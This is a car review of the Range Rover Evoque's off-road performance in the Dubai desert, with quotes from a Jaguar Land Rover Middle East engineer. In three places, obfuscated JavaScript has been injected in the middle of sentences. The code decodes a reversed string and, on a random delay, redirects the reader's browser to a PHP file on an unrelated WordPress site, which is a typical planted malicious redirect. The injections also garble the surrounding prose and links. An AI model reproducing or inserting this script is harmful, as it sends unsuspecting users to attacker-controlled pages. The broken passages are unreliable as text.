Range Rover Evoque. Unfamiliar Territory

It’s now been just over a year since the Range Rover Evoque touched down in the Middle East. It proved an instant hit with the local public clamouring for something new – its futuristic looks and compact size helped it fly out of the showrooms into the garages of those that just had to have the latest thing. On the streets of Dubai, Bahrain, Saudi and Qatar, proud owners showed off the Evoque’s sleek lines on boulevards and in shopping mall car parks.

We were extremely impressed by the Evoque, both on the roads of North Wales during the international launch and on the mountain switchbacks of the UAE when it arrived in the region. Despite its high stance it handles superbly, drawing comparisons to contemporary hot hatches.

So, it looks fantastic, it’s practical and it drives superbly on the road. That’s the end of that, right? Wrong. It may be known as the Evoque to all and sundry, but there are two important words in its name that are often overlooked. Anything with the words $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/all-new-range-rover-morocco-the-big-test/” target=”_blank”>Range Rover attached to it has to be more than just a looker, it has to do more than just take corners nicely. It needs to be able to get out into the wild.

Just like all the Range Rovers since 1970, the Evoque has got to blend comfort and a level of luxury with off-road prowess. These latter talents have been sadly brushed under the carpet since the Evoque touched down – a wrong that we intend to right. We want to know if it can hack it away from the asphalt, whether it’s worthy of the Double-R moniker.

We’ve got ourselves a day with a black five-door Evoque and the man in charge of making sure everything’s up to scratch for the Middle East. John Winchester is the manager of engineering operations for $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andRoverMENA?ref=ts&fref=ts” target=”_blank”>Jaguar Land Rover Middle East, which essentially means that he oversees the testing and calibration for all Land Rover products in the region. If there’s a new model coming here, he tests it over tens of thousands of kilometres to ensure it does what it’s supposed to do, and won’t break down while doing it. This goes for both on-road and off-road performance, so if there’s anyone that knows what the Evoque can do, it’s him. We’re going to grill him for promises on the Baby Range’s capabilities, and then put those claims to the test.

Our day starts at JLR MENA’s headquarters on the outskirts of Dubai, where we meet up with John and two colleagues who’ll be driving an LR4 support car. Sure, he’s confident in the Evoque’s abilities, but it’s extremely foolhardy to venture into the desert solo. The LR4’s got two spare wheels, a shovel and a rope in case things go wrong. Oh, and water. And chocolate. You know, the essentials.

John takes the driver’s seat to start with and as we make our way onto the motorway I ask him just how capable the Evoque is away from the tarmac. “It’s very good,” he predictably replies. After all, he’s employed by the people that make it. But will his loyalty write cheques that the Evoque can’t cash? “It’s as a $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/all-new-range-rover-morocco-the-big-test/” target=”_blank”>Range Rover should be,” he continues.

“We’ve got the commanding driving position, we’ve retained approach, departure and break-over angles, we’ve got excellent wheel travel and all of the Terrain Response settings from Dynamic mode through to Sand. That means we can change the calibration of the car in terms of throttle, gearbox, steering and traction control. It’s a very capable product. For recreational activities in the desert, it’s great.” Encouraging words.

About 20 minutes out of Dubai we turn off the main road and head down a side street that soon turns into a track, past small houses and eventually shelters for goats and camels. And then, desert. Proper desert, with rolling dunes and every shade between yellow and brown yawning out towards distant mountains. In theory, this is the Evoque’s playground.

First things first however. We hop out and let air out of the tyres. Even with bags of tech, the oldest tricks are some of the most important. Taking the pressure in the rubber down to about 16PSI lets the surface of the tyre spread out and increase the footprint on the sand. There’s a reason why camels have such big, plate-like feet – it’s so they don’t sink.

This particular Evoque has been fitted with 18-inch wheels instead of the 20s that are available. That’s because the tyres on the smaller rims have larger sidewalls, which in turn allow the deflated rubber to expand more and give a larger footprint. John explains that all the tech will still work if the car’s on bigger rims. But it’ll work better on the smaller ones.

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Range Rover Evoque. Unfamiliar Territory

Phill Tromans

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